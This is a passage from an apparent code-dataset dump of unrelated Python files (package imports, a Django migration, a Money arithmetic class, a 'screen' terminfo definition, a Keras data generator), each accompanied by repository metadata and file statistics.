2019-03-17T03:43:33.000Z

__init__.py

tchojnacki/spotifymosaic

0c5c85b0f1f18881fd64cda021f999b6763a77f2

[ "MIT" ]

null

__init__.py

tchojnacki/spotifymosaic

0c5c85b0f1f18881fd64cda021f999b6763a77f2

[ "MIT" ]

null

"""A module used to generate cover for Spotify playlist based on album covers""" from .main import SpotifyMosaic

37.666667

80

0.787611

17

113

5.235294

1

0

0.150442

113

2

81

56.5

0.927083

0.654867

0

1

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

6

b5215624567257c30b67302094a93c959b834ee7

205

py

Python

torchnlp/tasks/sequence_tagging/__init__.py

Yoark/Transformer-Attention

b8c62cb8618a03150ccfd73f705893d2b931b224

[ "Apache-2.0" ]

262

2018-02-28T08:11:37.000Z

2022-03-03T04:18:10.000Z

torchnlp/tasks/sequence_tagging/__init__.py

Yoark/Transformer-Attention

b8c62cb8618a03150ccfd73f705893d2b931b224

[ "Apache-2.0" ]

16

2018-06-05T05:40:52.000Z

2020-10-27T08:28:07.000Z

torchnlp/tasks/sequence_tagging/__init__.py

Yoark/Transformer-Attention

b8c62cb8618a03150ccfd73f705893d2b931b224

[ "Apache-2.0" ]

49

2018-07-25T09:08:14.000Z

2021-06-09T17:09:21.000Z

from .main import train, evaluate, infer, interactive from .transformer_tagger import TransformerTagger from .bilstm_tagger import BiLSTMTagger from .tagger import Tagger, hparams_tagging_base, VOCABS_FILE

51.25

61

0.858537

26

205

6.576923

0.653846

0.210526

0

0.097561

205

4

61

51.25

0.924324

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

b544b534ae9c09a5964caeaa601adc74cf3d993d

218

py

Python

roscraco/router/tplink/__init__.py

cyroxx/roscraco

fc0279928d0241f4eb475ac40b24ab22cb1d900a

[ "BSD-3-Clause" ]

1

2020-09-06T09:30:13.000Z

roscraco/router/tplink/__init__.py

cyroxx/roscraco

fc0279928d0241f4eb475ac40b24ab22cb1d900a

[ "BSD-3-Clause" ]

null

roscraco/router/tplink/__init__.py

cyroxx/roscraco

fc0279928d0241f4eb475ac40b24ab22cb1d900a

[ "BSD-3-Clause" ]

null

from wr340g import Tplink_WR340G, Tplink_WR340Gv4 from wr720n import Tplink_WR720N from wr740n import Tplink_WR740N from wr741n import Tplink_WR741N from wr940n import Tplink_WR940N from wr941n import Tplink_WR941N

21.8

49

0.866972

32

218

5.6875

0.3125

0.395604

0

0.210526

0.12844

218

9

50

24.222222

0.747368

0

1

0

true

0

1

0

1

0

null

1

0

1

0

1

0

null

0

1

0

1

0

1

0

6

b558814e46afbc80c9faf3c552ceccb57dd10b21

191

py

Python

unrest_schema/urls.py

chriscauley/unrest-schema

2fbf47c3a5a1bb21fe0a18de8487165d1a503298

[ "MIT" ]

null

unrest_schema/urls.py

chriscauley/unrest-schema

2fbf47c3a5a1bb21fe0a18de8487165d1a503298

[ "MIT" ]

null

unrest_schema/urls.py

chriscauley/unrest-schema

2fbf47c3a5a1bb21fe0a18de8487165d1a503298

[ "MIT" ]

null

from django.urls import path from .views import schema_form urlpatterns = [ path('api/schema/<form_name>/', schema_form), path('api/schema/<form_name>/<object_id>/', schema_form), ]

23.875

61

0.712042

27

191

4.814815

0.481481

0.384615

0.2

0.261538

0.323077

0

0.13089

191

8

62

23.875

0.783133

0

0.302083

0

1

0

false

0

0.333333

0

0.333333

0

1

0

null

1

0

1

0

null

0

1

0

6

b5ae9bd06732be59eb27ff531fc5e6ed9635fdd9

27

py

Python

__init__.py

intelligenerator/unet

8f2202269dadba36c16e4c09bf770d6ce84bb148

[ "MIT" ]

3

2021-03-04T14:25:16.000Z

2021-11-16T04:49:35.000Z

__init__.py

intelligenerator/unet

8f2202269dadba36c16e4c09bf770d6ce84bb148

[ "MIT" ]

null

__init__.py

intelligenerator/unet

8f2202269dadba36c16e4c09bf770d6ce84bb148

[ "MIT" ]

1

2020-09-01T09:17:54.000Z

from .src.unet import UNet

13.5

26

0.777778

5

27

4.2

0.8

0

0.148148

27

1

27

0.913043

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

a955a93c8bf07db383b29df987e3973db5069070

81

py

Python

py_tdlib/constructors/reset_all_notification_settings.py

Mr-TelegramBot/python-tdlib

2e2d21a742ebcd439971a32357f2d0abd0ce61eb

[ "MIT" ]

24

2018-10-05T13:04:30.000Z

2020-05-12T08:45:34.000Z

py_tdlib/constructors/reset_all_notification_settings.py

MrMahdi313/python-tdlib

2e2d21a742ebcd439971a32357f2d0abd0ce61eb

[ "MIT" ]

3

2019-06-26T07:20:20.000Z

2021-05-24T13:06:56.000Z

py_tdlib/constructors/reset_all_notification_settings.py

MrMahdi313/python-tdlib

2e2d21a742ebcd439971a32357f2d0abd0ce61eb

[ "MIT" ]

5

2018-10-05T14:29:28.000Z

2020-08-11T15:04:10.000Z

from ..factory import Method class resetAllNotificationSettings(Method): pass

13.5

43

0.814815

8

81

8.25

0.875

0

0.123457

81

5

44

16.2

0.929577

0

1

0

true

0.333333

0

0.666667

0

1

0

null

0

1

0

null

0

1

0

1

0

6

8d233e005d9cad182c5bd3c59b71a6685e59dc3e

141

py

Python

generated-libraries/python/netapp/sectrace/vserverid.py

radekg/netapp-ontap-lib-get

6445ebb071ec147ea82a486fbe9f094c56c5c40d

[ "MIT" ]

2

2017-03-28T15:31:26.000Z

2018-08-16T22:15:18.000Z

generated-libraries/python/netapp/sectrace/vserverid.py

radekg/netapp-ontap-lib-get

6445ebb071ec147ea82a486fbe9f094c56c5c40d

[ "MIT" ]

null

generated-libraries/python/netapp/sectrace/vserverid.py

radekg/netapp-ontap-lib-get

6445ebb071ec147ea82a486fbe9f094c56c5c40d

[ "MIT" ]

null

class Vserverid(basestring): """ Vserver Id """ @staticmethod def get_api_name(): return "vserverid"

14.1

28

0.531915

12

141

6.083333

0.916667

0

0.361702

141

9

29

15.666667

0.811111

0.070922

0

0.078261

0

1

0.25

true

0

0.25

0.75

0

1

0

null

0

1

0

null

0

1

0

1

0

6

8d2b9ba3b01f81a2bdad191d1b8c800cbec4918d

11,462

py

Python

data/school_year/migrations/0001_initial.py

Polydelta-ai/zimagi-schools

6fe30e195a9d22132d23281ca5f87d7e71e27b28

[ "Apache-2.0" ]

null

data/school_year/migrations/0001_initial.py

Polydelta-ai/zimagi-schools

6fe30e195a9d22132d23281ca5f87d7e71e27b28

[ "Apache-2.0" ]

null

data/school_year/migrations/0001_initial.py

Polydelta-ai/zimagi-schools

6fe30e195a9d22132d23281ca5f87d7e71e27b28

[ "Apache-2.0" ]

null

# Generated by Django 4.0.2 on 2022-02-17 22:57 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('school', '0001_initial'), ] operations = [ migrations.CreateModel( name='SchoolYear', fields=[ ('created', models.DateTimeField(editable=False, null=True)), ('updated', models.DateTimeField(editable=False, null=True)), ('id', models.CharField(editable=False, max_length=64, primary_key=True, serialize=False)), ('year', models.IntegerField(default=None, null=True)), ('student_size', models.IntegerField(default=None, null=True)), ('admissions_rate', models.FloatField(default=None, null=True)), ('program_percent_agriculture', models.FloatField(default=None, null=True)), ('program_percent_resources', models.FloatField(default=None, null=True)), ('program_percent_architecture', models.FloatField(default=None, null=True)), ('program_percent_ethnic_cultural_gender', models.FloatField(default=None, null=True)), ('program_percent_communication', models.FloatField(default=None, null=True)), ('program_percent_communications_technology', models.FloatField(default=None, null=True)), ('program_percent_computer', models.FloatField(default=None, null=True)), ('program_percent_personal_culinary', models.FloatField(default=None, null=True)), ('program_percent_education', models.FloatField(default=None, null=True)), ('program_percent_engineering', models.FloatField(default=None, null=True)), ('program_percent_engineering_technology', models.FloatField(default=None, null=True)), ('program_percent_language', models.FloatField(default=None, null=True)), ('program_percent_family_consumer_science', models.FloatField(default=None, null=True)), ('program_percent_legal', models.FloatField(default=None, null=True)), ('program_percent_english', models.FloatField(default=None, null=True)), ('program_percent_humanities', models.FloatField(default=None, null=True)), ('program_percent_library', models.FloatField(default=None, null=True)), ('program_percent_biological', models.FloatField(default=None, null=True)), ('program_percent_mathematics', models.FloatField(default=None, null=True)), ('program_percent_military', models.FloatField(default=None, null=True)), ('program_percent_multidiscipline', models.FloatField(default=None, null=True)), ('program_percent_parks_recreation_fitness', models.FloatField(default=None, null=True)), ('program_percent_philosophy_religious', models.FloatField(default=None, null=True)), ('program_percent_theology_religious_vocation', models.FloatField(default=None, null=True)), ('program_percent_physical_science', models.FloatField(default=None, null=True)), ('program_percent_science_technology', models.FloatField(default=None, null=True)), ('program_percent_psychology', models.FloatField(default=None, null=True)), ('program_percent_security_law_enforcement', models.FloatField(default=None, null=True)), ('program_percent_public_administration_social_service', models.FloatField(default=None, null=True)), ('program_percent_social_science', models.FloatField(default=None, null=True)), ('program_percent_construction', models.FloatField(default=None, null=True)), ('program_percent_mechanic_repair_technology', models.FloatField(default=None, null=True)), ('program_percent_precision_production', models.FloatField(default=None, null=True)), ('program_percent_transportation', models.FloatField(default=None, null=True)), ('program_percent_visual_performing', models.FloatField(default=None, null=True)), ('program_percent_health', models.FloatField(default=None, null=True)), ('program_percent_business_marketing', models.FloatField(default=None, null=True)), ('program_percent_history', models.FloatField(default=None, null=True)), ('program_enrollment_agriculture', models.IntegerField(default=None, null=True)), ('program_enrollment_resources', models.IntegerField(default=None, null=True)), ('program_enrollment_architecture', models.IntegerField(default=None, null=True)), ('program_enrollment_ethnic_cultural_gender', models.IntegerField(default=None, null=True)), ('program_enrollment_communication', models.IntegerField(default=None, null=True)), ('program_enrollment_communications_technology', models.IntegerField(default=None, null=True)), ('program_enrollment_computer', models.IntegerField(default=None, null=True)), ('program_enrollment_personal_culinary', models.IntegerField(default=None, null=True)), ('program_enrollment_education', models.IntegerField(default=None, null=True)), ('program_enrollment_engineering', models.IntegerField(default=None, null=True)), ('program_enrollment_engineering_technology', models.IntegerField(default=None, null=True)), ('program_enrollment_language', models.IntegerField(default=None, null=True)), ('program_enrollment_family_consumer_science', models.IntegerField(default=None, null=True)), ('program_enrollment_legal', models.IntegerField(default=None, null=True)), ('program_enrollment_english', models.IntegerField(default=None, null=True)), ('program_enrollment_humanities', models.IntegerField(default=None, null=True)), ('program_enrollment_library', models.IntegerField(default=None, null=True)), ('program_enrollment_biological', models.IntegerField(default=None, null=True)), ('program_enrollment_mathematics', models.IntegerField(default=None, null=True)), ('program_enrollment_military', models.IntegerField(default=None, null=True)), ('program_enrollment_multidiscipline', models.IntegerField(default=None, null=True)), ('program_enrollment_parks_recreation_fitness', models.IntegerField(default=None, null=True)), ('program_enrollment_philosophy_religious', models.IntegerField(default=None, null=True)), ('program_enrollment_theology_religious_vocation', models.IntegerField(default=None, null=True)), ('program_enrollment_physical_science', models.IntegerField(default=None, null=True)), ('program_enrollment_science_technology', models.IntegerField(default=None, null=True)), ('program_enrollment_psychology', models.IntegerField(default=None, null=True)), ('program_enrollment_security_law_enforcement', models.IntegerField(default=None, null=True)), ('program_enrollment_public_administration_social_service', models.IntegerField(default=None, null=True)), ('program_enrollment_social_science', models.IntegerField(default=None, null=True)), ('program_enrollment_construction', models.IntegerField(default=None, null=True)), ('program_enrollment_mechanic_repair_technology', models.IntegerField(default=None, null=True)), ('program_enrollment_precision_production', models.IntegerField(default=None, null=True)), ('program_enrollment_transportation', models.IntegerField(default=None, null=True)), ('program_enrollment_visual_performing', models.IntegerField(default=None, null=True)), ('program_enrollment_health', models.IntegerField(default=None, null=True)), ('program_enrollment_business_marketing', models.IntegerField(default=None, null=True)), ('program_enrollment_history', models.IntegerField(default=None, null=True)), ('student_ethnicity_percent_black', models.FloatField(default=None, null=True)), ('student_ethnicity_percent_hispanic', models.FloatField(default=None, null=True)), ('student_ethnicity_percent_asian', models.FloatField(default=None, null=True)), ('student_ethnicity_percent_white', models.FloatField(default=None, null=True)), ('student_ethnicity_percent_aian', models.FloatField(default=None, null=True)), ('student_ethnicity_percent_nhpi', models.FloatField(default=None, null=True)), ('student_ethnicity_percent_two_or_more', models.FloatField(default=None, null=True)), ('student_ethnicity_percent_non_resident_alien', models.FloatField(default=None, null=True)), ('student_ethnicity_percent_unknown', models.FloatField(default=None, null=True)), ('student_ethnicity_percent_white_non_hispanic', models.FloatField(default=None, null=True)), ('student_ethnicity_percent_black_non_hispanic', models.FloatField(default=None, null=True)), ('student_ethnicity_percent_asian_pacific_islander', models.FloatField(default=None, null=True)), ('student_ethnicity_enrollment_black', models.IntegerField(default=None, null=True)), ('student_ethnicity_enrollment_hispanic', models.IntegerField(default=None, null=True)), ('student_ethnicity_enrollment_asian', models.IntegerField(default=None, null=True)), ('student_ethnicity_enrollment_white', models.IntegerField(default=None, null=True)), ('student_ethnicity_enrollment_aian', models.IntegerField(default=None, null=True)), ('student_ethnicity_enrollment_nhpi', models.IntegerField(default=None, null=True)), ('student_ethnicity_enrollment_two_or_more', models.IntegerField(default=None, null=True)), ('student_ethnicity_enrollment_non_resident_alien', models.IntegerField(default=None, null=True)), ('student_ethnicity_enrollment_unknown', models.IntegerField(default=None, null=True)), ('student_ethnicity_enrollment_white_non_hispanic', models.IntegerField(default=None, null=True)), ('student_ethnicity_enrollment_black_non_hispanic', models.IntegerField(default=None, null=True)), ('student_ethnicity_enrollment_asian_pacific_islander', models.IntegerField(default=None, null=True)), ('school', models.ForeignKey(editable=False, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='%(class)s_relation', to='school.school')), ], options={ 'verbose_name': 'school year', 'verbose_name_plural': 'school years', 'db_table': 'schools_school_year', 'ordering': ['year'], 'abstract': False, 'unique_together': {('school_id', 'year')}, }, ), ]

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0.677979

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11,462

6.608503

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0.207077

0.262297

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0.761828

0.750302

0.338292

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0.002291

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11,462

136

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84.279412

0.811695

0.003926

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false

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null

0

1

0

1

0

1

0

null

0

6

8d3838a1405ee5292336359ebca7442238f6d49a

6,089

py

Python

PyMoneyOrga/PyMoneyOrga/domain/money.py

CRaNkXD/PyMoneyOrga

ff4c0121efc62d838351bbe2b276587699bab15e

[ "MIT" ]

null

PyMoneyOrga/PyMoneyOrga/domain/money.py

CRaNkXD/PyMoneyOrga

ff4c0121efc62d838351bbe2b276587699bab15e

[ "MIT" ]

null

PyMoneyOrga/PyMoneyOrga/domain/money.py

CRaNkXD/PyMoneyOrga

ff4c0121efc62d838351bbe2b276587699bab15e

[ "MIT" ]

null

class Money(object): """Class for representing money in the desired currency""" # The base currency is euro VALID_CURRENCIES = {"EUR": 1.0, "USD": 1.14} @classmethod def convert_to(cls, money: "Money", new_currency): if new_currency not in cls.VALID_CURRENCIES: print(f"The currency {new_currency} is not valid or not implemented!") euro = money.amount // cls.VALID_CURRENCIES[money.currency] return cls(euro * cls.VALID_CURRENCIES[new_currency], new_currency) def __init__(self, amount, currency="EUR"): if currency not in Money.VALID_CURRENCIES: print(f"The currency {currency} is not valid or not implemented!") self._amount = amount self._currency = currency def __repr__(self): return f"{self._amount} {self._currency}" def __str__(self): return f"{self._amount} {self._currency}" def __int__(self): return self._amount def __add__(self, other): if isinstance(other, self.__class__): if self._currency != other.currency: print( f"Cannot add money when the currency does not match \ ({self._currency} != {other.currency}" ) amount = self._amount + other.amount return Money(amount, self._currency) elif isinstance(other, int): amount = self._amount + other return Money(amount, self._currency) else: raise TypeError( f"unsupported operand type(s) for +: '{self.__class__}' and '{type(other)}'" ) def __iadd__(self, other): if isinstance(other, self.__class__): if self._currency != other.currency: print( f"Cannot add money when the currency does not match \ ({self._currency} != {other.currency}" ) self._amount += other.amount elif isinstance(other, int): self._amount += other else: raise TypeError( f"unsupported operand type(s) for +: '{self.__class__}' and '{type(other)}'" ) def __sub__(self, other): if isinstance(other, self.__class__): if self._currency != other.currency: print( f"Cannot substract money when the currency does not match \ ({self._currency} != {other.currency}" ) amount = self._amount - other.amount return Money(amount, self._currency) elif isinstance(other, int): amount = self._amount - other return Money(amount, self._currency) else: raise TypeError( f"unsupported operand type(s) for -: '{self.__class__}' and '{type(other)}'" ) def __isub__(self, other): if isinstance(other, self.__class__): if self._currency != other.currency: print( f"Cannot substract money when the currency does not match \ ({self._currency} != {other.currency}" ) self._amount -= other.amount elif isinstance(other, int): self._amount -= other else: raise TypeError( f"unsupported operand type(s) for -: '{self.__class__}' and '{type(other)}'" ) def __mul__(self, other): if isinstance(other, self.__class__): if self._currency != other.currency: print( f"Cannot multiply money when the currency does not match \ ({self._currency} != {other.currency}" ) amount = self._amount * other.amount return Money(amount, self._currency) elif isinstance(other, int): amount = self._amount * other return Money(amount, self._currency) else: raise TypeError( f"unsupported operand type(s) for *: '{self.__class__}' and '{type(other)}'" ) def __imul__(self, other): if isinstance(other, self.__class__): if self._currency != other.currency: print( f"Cannot multiply money when the currency does not match \ ({self._currency} != {other.currency}" ) self._amount *= other.amount elif isinstance(other, int): self._amount *= other else: raise TypeError( f"unsupported operand type(s) for *: '{self.__class__}' and '{type(other)}'" ) def __truediv__(self, other): if isinstance(other, self.__class__): if self._currency != other.currency: print( f"Cannot divide money when the currency does not match \ ({self._currency} != {other.currency}" ) amount = self._amount // other.amount return Money(amount, self._currency) elif isinstance(other, int): amount = self._amount // other return Money(amount, self._currency) else: raise TypeError( f"unsupported operand type(s) for /: '{self.__class__}' and '{type(other)}'" ) def __idiv__(self, other): if isinstance(other, self.__class__): if self._currency != other.currency: print( f"Cannot divide money when the currency does not match \ ({self._currency} != {other.currency}" ) self._amount //= other.amount elif isinstance(other, int): self._amount //= other else: raise TypeError( f"unsupported operand type(s) for /: '{self.__class__}' and '{type(other)}'" ) @property def amount(self): return self._amount @property def currency(self): return self._currency

37.128049

92

0.538184

619

6,089

5.016155

0.105008

0.108213

0.087601

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0.836393

0.815781

0.793881

0.770692

0

0.001283

0.359993

6,089

163

93

37.355828

0.795484

0.012974

0

0.593103

0

0.129247

0

1

0.103448

false

0

0.034483

0.213793

0.068966

0

null

0

1

0

null

0

6

8d3ce8498a96a2095a2b73d8addd3e02e06059c5

84

py

Python

devel/lib/python2.7/dist-packages/ferns_detector/msg/__init__.py

gentaiscool/ros-vrep-slam

afae1b35eb2538fcc9ff68952b85c5e4791c46d2

[ "MIT" ]

39

2018-08-28T21:28:07.000Z

2022-03-12T10:30:40.000Z

devel/lib/python2.7/dist-packages/ferns_detector/msg/__init__.py

zliucr/ros-vrep-slam

afae1b35eb2538fcc9ff68952b85c5e4791c46d2

[ "MIT" ]

1

2019-03-14T09:23:56.000Z

2019-04-27T15:54:53.000Z

devel/lib/python2.7/dist-packages/ferns_detector/msg/__init__.py

zliucr/ros-vrep-slam

afae1b35eb2538fcc9ff68952b85c5e4791c46d2

[ "MIT" ]

14

2018-07-12T06:59:48.000Z

2021-03-31T08:27:39.000Z

from ._DetectedPoint import * from ._Detection import * from ._ModelStatus import *

21

29

0.785714

9

84

7

0.555556

0.31746

0

0.142857

84

3

30

28

0.875

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

8d947983df4a5e8ff0426fe4c52809b535e8e6e9

167

py

Python

tests/testapp/models.py

coldrye-collaboration/feincms3-meta

f5ca26d918dd5fc5b6a8271a20302d3c1d226a67

[ "BSD-3-Clause" ]

2

2017-12-26T19:54:46.000Z

2018-07-29T20:35:16.000Z

tests/testapp/models.py

coldrye-collaboration/feincms3-meta

f5ca26d918dd5fc5b6a8271a20302d3c1d226a67

[ "BSD-3-Clause" ]

2

2021-10-12T08:57:07.000Z

2022-03-03T08:44:29.000Z

tests/testapp/models.py

coldrye-collaboration/feincms3-meta

f5ca26d918dd5fc5b6a8271a20302d3c1d226a67

[ "BSD-3-Clause" ]

4

2017-12-26T19:54:57.000Z

2021-10-03T12:12:05.000Z

# from django.db import models # from django.utils.translation import gettext_lazy as _ from feincms3_meta.models import MetaMixin class Model(MetaMixin): pass

18.555556

56

0.790419

23

167

5.608696

0.695652

0.155039

0

0.007092

0.155689

167

8

57

20.875

0.907801

0.497006

0

1

0

true

0.333333

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1

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null

0

1

0

null

0

1

0

1

0

6

a5d488f2b8f1fd280449c7e275ac62819a4dc33a

24

py

Python

users/urls/__init__.py

SolutionUp/SolutionUP-System

4f341df1a51a43b350e626d47abd207a55edb94d

[ "MIT" ]

4

2021-08-30T01:45:46.000Z

2022-01-08T18:05:10.000Z

users/urls/__init__.py

DiskFar/DiskFar-System

dfd687e55cbca03118656d14761eb5de6c5a58a9

[ "MIT" ]

6

2021-08-29T03:26:48.000Z

2021-09-24T00:13:11.000Z

users/urls/__init__.py

DiskFar/DiskFar-System

dfd687e55cbca03118656d14761eb5de6c5a58a9

[ "MIT" ]

1

2021-08-16T21:21:34.000Z

from .auth_url import *

12

23

0.75

4

24

4.25

1

0

0.166667

24

1

24

0.85

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

939676d9aa7003c2c2ca66d2c7bc77c9f5d54ee3

34

py

Python

tfga/__init__.py

RAufschlaeger/tfga

1607381fdcb3b479fc90b3fbb3af44b739ca720a

[ "MIT" ]

30

2020-05-24T13:14:15.000Z

2021-12-21T21:10:57.000Z

tfga/__init__.py

RAufschlaeger/tfga

1607381fdcb3b479fc90b3fbb3af44b739ca720a

[ "MIT" ]

11

2020-06-06T13:16:14.000Z

2021-12-27T08:05:48.000Z

tfga/__init__.py

RAufschlaeger/tfga

1607381fdcb3b479fc90b3fbb3af44b739ca720a

[ "MIT" ]

7

2020-05-30T12:20:26.000Z

2022-01-20T08:12:36.000Z

from .tfga import GeometricAlgebra

34

0.882353

4

34

7.5

1

0

0.088235

34

1

34

0.967742

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

93fa5198c365015e53c0066677d77416f5d7a909

36

py

Python

pynab_monzo/__init__.py

MBrighty/pynab_monzo

f77f9ae94751842c0f46bde485ad76ac90277083

[ "MIT" ]

null

pynab_monzo/__init__.py

MBrighty/pynab_monzo

f77f9ae94751842c0f46bde485ad76ac90277083

[ "MIT" ]

2

2021-03-27T15:47:27.000Z

2022-01-29T16:25:46.000Z

pynab_monzo/__init__.py

MBrighty/pynab_monzo

f77f9ae94751842c0f46bde485ad76ac90277083

[ "MIT" ]

null

# flake8: noqa from .app import app

12

20

0.722222

6

36

4.333333

0.833333

0

0.034483

0.194444

36

2

21

18

0.862069

0.333333

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

9e10b1c28f0e1b30bbaf0cdb25949651a92f57a0

2,976

py

Python

terminfo/s/screen.py

darkelf44/PyUtils

4072ff31d2b89dd604ef0e09eb90b7f3b5cf23df

[ "MIT" ]

null

terminfo/s/screen.py

darkelf44/PyUtils

4072ff31d2b89dd604ef0e09eb90b7f3b5cf23df

[ "MIT" ]

null

terminfo/s/screen.py

darkelf44/PyUtils

4072ff31d2b89dd604ef0e09eb90b7f3b5cf23df

[ "MIT" ]

null

# Imports from terminfo import TerminalModule # Terminal: VT 100/ANSI X3.64 virtual terminal TerminalModule(['screen'], use=[], backspaces_with_bs=True, has_hardware_tabs=True, auto_right_margin=True, has_meta_key=True, move_insert_mode=True, move_standout_mode=True, eat_newline_glitch=True, G0=True, max_colors=8, columns=80, init_tabs=8, lines=24, no_color_video=None, max_pairs=64, U8=1, acs_chars=b'++,,--..00``aaffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz{{||}}~~', bell=b'\x07', enter_blink_mode=b'\x1b[5m', enter_bold_mode=b'\x1b[1m', back_tab=b'\x1b[Z', cursor_invisible=b'\x1b[?25l', clear_screen=b'\x1b[H\x1b[J', cursor_normal=b'\x1b[34h\x1b[?25h', carriage_return=b'\r', change_scroll_region=b'\x1b[%i%p1%d;%p2%dr', parm_left_cursor=b'\x1b[%p1%dD', cursor_left=b'\x08', parm_down_cursor=b'\x1b[%p1%dB', cursor_down=b'\n', parm_right_cursor=b'\x1b[%p1%dC', cursor_right=b'\x1b[C', cursor_address=b'\x1b[%i%p1%d;%p2%dH', parm_up_cursor=b'\x1b[%p1%dA', cursor_up=b'\x1bM', cursor_visible=b'\x1b[34l', parm_dch=b'\x1b[%p1%dP', delete_character=b'\x1b[P', enter_dim_mode=b'\x1b[2m', parm_delete_line=b'\x1b[%p1%dM', delete_line=b'\x1b[M', clr_eos=b'\x1b[J', clr_eol=b'\x1b[K', clr_bol=b'\x1b[1K', ena_acs=b'\x1b(B\x1b)0', flash_screen=b'\x1bg', cursor_home=b'\x1b[H', column_address=b'\x1b[%i%p1%dG', tab=b'\t', set_tab=b'\x1bH', parm_ich=b'\x1b[%p1%d@', parm_insert_line=b'\x1b[%p1%dL', insert_line=b'\x1b[L', scroll_forward=b'\n', parm_index=b'\x1b[%p1%dS', init_2string=b'\x1b)0', key_backspace=b'\x08', key_btab=b'\x1b[Z', key_left=b'\x1bOD', key_down=b'\x1bOB', key_right=b'\x1bOC', key_up=b'\x1bOA', key_f1=b'\x1bOP', key_f10=b'\x1b[21~', key_f11=b'\x1b[23~', key_f12=b'\x1b[24~', key_f2=b'\x1bOQ', key_f3=b'\x1bOR', key_f4=b'\x1bOS', key_f5=b'\x1b[15~', key_f6=b'\x1b[17~', key_f7=b'\x1b[18~', key_f8=b'\x1b[19~', key_f9=b'\x1b[20~', key_mouse=b'\x1b[M', newline=b'\x1bE', restore_cursor=b'\x1b8', enter_reverse_mode=b'\x1b[7m', scroll_reverse=b'\x1bM', exit_alt_charset_mode=b'\x0f', exit_insert_mode=b'\x1b[4l', keypad_local=b'\x1b[?1l\x1b>', exit_standout_mode=b'\x1b[23m', exit_underline_mode=b'\x1b[24m', reset_2string=b'\x1bc\x1b[?1000l\x1b[?25h', save_cursor=b'\x1b7', set_attributes=b'\x1b[0%?%p6%t;1%;%?%p1%t;3%;%?%p2%t;4%;%?%p3%t;7%;%?%p4%t;5%;%?%p5%t;2%;m%?%p9%t\x0e%e\x0f%;', exit_attribute_mode=b'\x1b[m\x0f', enter_alt_charset_mode=b'\x0e', enter_insert_mode=b'\x1b[4h', keypad_xmit=b'\x1b[?1h\x1b=', enter_standout_mode=b'\x1b[3m', enter_underline_mode=b'\x1b[4m', clear_all_tabs=b'\x1b[3g', row_address=b'\x1b[%i%p1%dd', E0=b'\x1b(B', S0=b'\x1b(%p1%c', user8=b'\x1b[?1;2c', user6=b'\x1b[%i%d;%dR', user7=b'\x1b[6n', user9=b'\x1b[c', AX=True, orig_pair=b'\x1b[39;49m', set_a_background=b'\x1b[4%p1%dm', set_a_foreground=b'\x1b[3%p1%dm', exit_ca_mode=b'\x1b[?1049l', enter_ca_mode=b'\x1b[?1049h', key_dc=b'\x1b[3~', key_end=b'\x1b[4~', key_home=b'\x1b[1~', key_ic=b'\x1b[2~', key_npage=b'\x1b[6~', key_ppage=b'\x1b[5~', parm_rindex=b'\x1b[%p1%dT')

496

2,881

0.701277

613

2,976

3.185971

0.380098

0.147465

0.053251

0.014337

0.028162

0.010241

0

0.088865

0.043347

2,976

5

2,882

595.2

0.59712

0.017473

0

0.5

0.319411

0.061965

0

1

0

true

0

0.5

0

0.5

0

null

0

1

0

1

0

null

0

1

0

1

0

6

f5196413cee0ed1c3fcd1c17a5575aedef014daf

11

py

Python

myProject/HelloWorld.py

ZZh2333/ubuntuProjectFiles

ded3d74e040bf6683b3b67a6956eb6fbe5805155

[ "MIT" ]

null

myProject/HelloWorld.py

ZZh2333/ubuntuProjectFiles

ded3d74e040bf6683b3b67a6956eb6fbe5805155

[ "MIT" ]

null

myProject/HelloWorld.py

ZZh2333/ubuntuProjectFiles

ded3d74e040bf6683b3b67a6956eb6fbe5805155

[ "MIT" ]

null

print(2**6)

11

0.636364

3

11

2.333333

1

0

0.181818

0

11

1

11

0.454545

0

1

0

true

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

6

f521c3a9a0ef77494064aec54f2385a13dd2327b

7,472

py

Python

python/Utility/DataGenerator.py

billy000400/Mu2e_MLTracking

675e62d844ff8a5ccba9019e316c374c40658101

[ "MIT" ]

null

python/Utility/DataGenerator.py

billy000400/Mu2e_MLTracking

675e62d844ff8a5ccba9019e316c374c40658101

[ "MIT" ]

1

2021-01-03T08:57:34.000Z

2021-01-03T23:41:22.000Z

python/Utility/DataGenerator.py

billy000400/Mu2e_MLTracking

675e62d844ff8a5ccba9019e316c374c40658101

[ "MIT" ]

null

from pathlib import Path import numpy as np import PIL.Image from tensorflow.keras.utils import Sequence class DataGenerator(Sequence): def __init__(self, X_dir, Y_dir, batch_size=1, shuffle=True): self.X_list = [child for child in X_dir.iterdir()] self.Y_list = [child for child in Y_dir.iterdir()] self.XY_list = list(zip(self.X_list, self.Y_list)) self.batch_size = batch_size self.indexes = np.arange(len(self.XY_list)) self.shuffle = shuffle self.on_epoch_end() def __len__(self): return int(np.floor(len(self.XY_list) / self.batch_size)) def __getitem__(self, index): # Generate indexes of the batch indexes = self.indexes[index*self.batch_size:(index+1)*self.batch_size] # Find list of IDs XY_file_list = [self.XY_list[k] for k in indexes] # Generate data X, Y = self.__data_generation(XY_file_list) return X, Y def on_epoch_end(self): if self.shuffle == True: np.random.shuffle(self.indexes) def __data_generation(self, XY_file_list): X_file_list = [] Y_file_list = [] for t in XY_file_list: X_file_list.append(t[0]) Y_file_list.append(t[1]) X = [np.load(x_file) for x_file in X_file_list] Y = [np.load(y_file) for y_file in Y_file_list] X = np.array(X, np.float32) Y = np.array(Y, np.float32) return X, Y class DataGeneratorV2(Sequence): def __init__(self, X_dir, Y1_dir, Y2_dir, batch_size=1, shuffle=True): self.X_list = [child for child in X_dir.iterdir()] self.Y1_list = [child for child in Y1_dir.iterdir()] self.Y2_list = [child for child in Y2_dir.iterdir()] self.XYY_list = list(zip(self.X_list, self.Y1_list, self.Y2_list)) 